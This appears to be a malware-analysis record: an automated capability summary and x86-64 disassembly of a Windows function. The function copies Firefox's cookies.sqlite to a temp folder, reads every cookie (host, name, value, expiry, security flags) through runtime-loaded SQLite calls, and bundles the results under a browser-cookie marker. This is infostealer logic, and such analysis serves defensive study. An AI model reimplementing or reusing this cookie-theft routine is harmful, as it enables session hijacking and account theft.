Function at 0x14000510c
Capabilities:
Check if file exists
Copy file
Create directory
Delete directory
Delete file
Gather firefox profile information
Get common file path
Get file attributes
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rdx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5b8]
sub rsp, 0x6b8
mov rdi, rdx
mov r13, rcx
add rcx, 0x90
cmp qword [rcx + 0x18], 8
jb 0x140005143
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
lea rdx, str.sqlite3_open
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x618], rax
lea rdx, str.sqlite3_prepare_v2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea rdx, str.sqlite3_step
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov qword [rbp + 0xa0], rax
lea rdx, str.sqlite3_column_text
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
lea rdx, str.sqlite3_column_blob
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.sqlite3_column_int
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x90], rax
lea rdx, str.sqlite3_column_bytes
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x98], rax
lea rdx, str.sqlite3_close
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xb0], rax
lea rdx, str.sqlite3_free
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.sqlite3_finalize
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xa8], rax
mov rdx, qword [rdi + 0x10]
movabs rsi, 0x7ffffffffffffffe
mov rcx, rsi
sub rcx, rdx
cmp rcx, 0xf
jb 0x140005a34
mov r9, rdi
cmp qword [rdi + 0x18], 8
jb 0x14000524a
mov r9, qword [rdi]
mov qword [rsp + 0x30], recv
lea rax, str.cookies.sqlite
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rbp + 0x70]
call fcn.140006f04
nop
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], 8
cmovae rcx, qword [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140005a08
test al, 0x10
jne 0x140005a08
lea rcx, [rbp - 0x60]
call fcn.140001afc
mov rbx, rax
lea rdx, [rbp + 0x3b0]
mov ecx, 0xff
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor eax, eax
mov qword [rsp + 0x70], rax
movdqa xmm0, xmmword [0x1400409a0]
movdqu xmmword [rbp - 0x80], xmm0
mov word [rsp + 0x70], ax
lea rdx, [rbp + 0x3b0]
lea rcx, [rsp + 0x70]
call fcn.1400067f4
nop
mov r8, rbx
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.140006ad8
nop
lea rcx, [rsp + 0x70]
call fcn.140006790
nop
lea rcx, [rbp - 0x60]
call fcn.140006790
xor eax, eax
mov qword [rbp + 0x50], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x60], xmm0
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x50]
call fcn.140006870
nop
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rbp + 0x138]
call fcn.140001afc
mov rbx, rax
mov rcx, qword [rsp + 0x60]
sub rsi, rcx
cmp rsi, 1
jb 0x140005a2e
lea r9, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae r9, qword [rsp + 0x50]
mov qword [rsp + 0x30], 1
lea rax, [0x14003f3e8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x70]
call fcn.140006f04
nop
mov r8, rbx
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x60]
call fcn.140006ad8
mov rbx, rax
lea rax, [rsp + 0x50]
cmp rax, rbx
je 0x1400053dd
lea rcx, [rsp + 0x50]
call fcn.140006790
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x60], xmm1
xor eax, eax
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], 7
mov word [rbx], ax
lea rcx, [rbp - 0x60]
call fcn.140006790
nop
lea rcx, [rsp + 0x70]
call fcn.140006790
nop
lea rcx, [rbp + 0x138]
call fcn.140006790
lea rax, [rbp - 0x60]
mov qword [rbp - 0x70], rax
xor ebx, ebx
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rbx
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x60]
call fcn.140006870
nop
mov qword [rsp + 0x70], rbx
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rbx
lea rdx, [rbp + 0x70]
lea rcx, [rsp + 0x70]
call fcn.140006870
nop
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae rdx, qword [rbp - 0x60]
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 8
cmovae rcx, qword [rsp + 0x70]
lea r8d, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, [rsp + 0x70]
call fcn.140006790
lea rcx, [rbp - 0x60]
call fcn.140006790
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rdx, qword [rsp + 0x50]
mov esi, 0x100
mov r8d, esi
lea rcx, [rbp + 0x1b0]
call fcn.140015e3c
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x158]
call fcn.1400010d4
nop
mov rdx, rdi
cmp qword [rdi + 0x18], 8
jb 0x1400054c0
mov rdx, qword [rdi]
mov r8, rsi
lea rcx, [rbp + 0x2b0]
call fcn.140015e3c
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x20]
call fcn.1400010d4
nop
lea rdx, [rbp + 0x610]
mov rsi, qword [rbp + 0x158]
mov rcx, rsi
call qword [rbp + 0x618]
test eax, eax
jne 0x1400059e0
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x600]
or r8d, 0xffffffff
lea rdx, str.SELECT_host__name__path__value__expiry__isHttpOnly__isSecure_FROM_moz_cookies
mov rcx, qword [rbp + 0x610]
call r14
test eax, eax
jne 0x1400059e0
lea rax, [rbp + 0x40]
mov qword [rbp + 0x618], rax
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x40]
call fcn.140001184
mov rbx, rax
lea r8, str.SPLIT_BROWSER__COOKIE
lea rdx, [rbp - 0x40]
lea rcx, [r13 + 0x10]
call fcn.1400013a8
nop
mov r8, rbx
lea rdx, [rbp - 0x30]
mov rcx, rax
call fcn.140001218
nop
lea r8, str.____
lea rdx, [rbp + 0x30]
mov rcx, rax
call fcn.1400013a8
mov rdx, rax
lea rcx, [r13 + 0x10]
call fcn.1400014b4
nop
mov rcx, qword [rbp - 0x30]
call fcn.14000f0f0
nop
mov rcx, qword [rbp - 0x40]
call fcn.14000f0f0
mov rcx, qword [rbp + 0x600]
call r12
cmp eax, 0x64
jne 0x14000599a
lea r12, str.TRUE
xor edx, edx
mov rcx, qword [rbp + 0x600]
call r15
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.1400010d4
nop
mov edx, 1
mov rcx, qword [rbp + 0x600]
call r15
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.1400010d4
nop
mov edx, 2
mov rcx, qword [rbp + 0x600]
call r15
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.1400010d4
nop
mov edx, 3
mov rcx, qword [rbp + 0x600]
call r15
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.1400010d4
nop
mov edx, 4
mov rcx, qword [rbp + 0x600]
call r15
mov rdx, rax
lea rcx, [rbp]
call fcn.1400010d4
nop
mov edx, 5
mov rcx, qword [rbp + 0x600]
mov rbx, qword [rbp + 0x90]
call rbx
lea rdx, str.FALSE
test eax, eax
cmove rdx, r12
lea rcx, [rbp - 0x10]
call fcn.1400010d4
nop
mov edx, 6
mov rcx, qword [rbp + 0x600]
call rbx
lea rdx, str.FALSE
test eax, eax
cmove rdx, r12
lea rcx, [rbp - 0x20]
call fcn.1400010d4
nop
mov r12, qword [rbp - 0x40]
mov rdx, r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
mov r14, qword [rbp - 0x30]
mov rbx, qword [rbp + 0x30]
test eax, eax
jne 0x1400056cc
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x1400056cc
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x140005958
xor eax, eax
cmp dword [rbp - 0x38], eax
jne 0x1400056e9
cmp dword [rbp - 0x28], eax
jne 0x1400056e9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x140005904
mov edx, 3
mov rcx, qword [rbp + 0x600]
call qword [rbp + 0x98]
mov dword [r13 + 0xc0], eax
lea rdx, [0x14003f6c0]
lea rcx, [rbp - 0x70]
call fcn.1400010d4
nop
lea rdx, [0x14003f6c4]
lea rcx, [rbp + 0x40]
call fcn.1400010d4
nop
lea rdx, [0x14003f348]
lea rcx, [rsp + 0x40]
call fcn.1400010d4
nop
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x168]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140001318
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x178]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140001318
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x188]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140001318
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x198]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140001318
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xb8]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140001318
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xc8]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140001318
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0xd8]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140001318
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xe8]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140001318
lea rdx, [rbp]
lea rcx, [rbp + 0xf8]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140001318
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x108]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140001318
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x118]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140001318
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x128]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140001318
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x138]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140001318
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x60]
call fcn.140001184
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140001318
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140001184
mov rdx, rax
lea rcx, [r13 + 0x10]
call fcn.140001318
nop
mov rcx, qword [rsp + 0x40]
call fcn.14000f0f0
nop
mov rcx, qword [rbp + 0x40]
call fcn.14000f0f0
nop
mov rcx, qword [rbp - 0x70]
call fcn.14000f0f0
nop
mov rcx, qword [rbp - 0x20]
call fcn.14000f0f0
nop
mov rcx, qword [rbp - 0x10]
call fcn.14000f0f0
nop
mov rcx, qword [rbp]
call fcn.14000f0f0
nop
mov rcx, rbx
call fcn.14000f0f0
nop
mov rcx, qword [rbp + 0x10]
call fcn.14000f0f0
nop
mov rcx, r14
call fcn.14000f0f0
nop
mov rcx, r12
call fcn.14000f0f0
mov rcx, qword [rbp + 0x600]
call qword [rbp + 0xa0]
jmp 0x1400055a5
mov rcx, qword [rbp - 0x20]
call fcn.14000f0f0
nop
mov rcx, qword [rbp - 0x10]
call fcn.14000f0f0
nop
mov rcx, qword [rbp]
call fcn.14000f0f0
nop
mov rcx, rbx
call fcn.14000f0f0
nop
mov rcx, qword [rbp + 0x10]
call fcn.14000f0f0
nop
mov rcx, r14
call fcn.14000f0f0
nop
mov rcx, r12
call fcn.14000f0f0
mov rcx, qword [rbp + 0x600]
call qword [rbp + 0xa8]
mov rcx, qword [rbp + 0x610]
call qword [rbp + 0xb0]
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x50]
cmp qword [rbp + 0x68], 8
cmovae rcx, qword [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
nop
mov rcx, qword [rbp + 0x20]
call fcn.14000f0f0
nop
mov rcx, rsi
call fcn.14000f0f0
nop
lea rcx, [rbp + 0x50]
call fcn.140006790
nop
lea rcx, [rsp + 0x50]
call fcn.140006790
nop
lea rcx, [rbp + 0x70]
call fcn.140006790
nop
mov rcx, rdi
call fcn.140006790
add rsp, 0x6b8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140001740
nop
call fcn.140001740
int3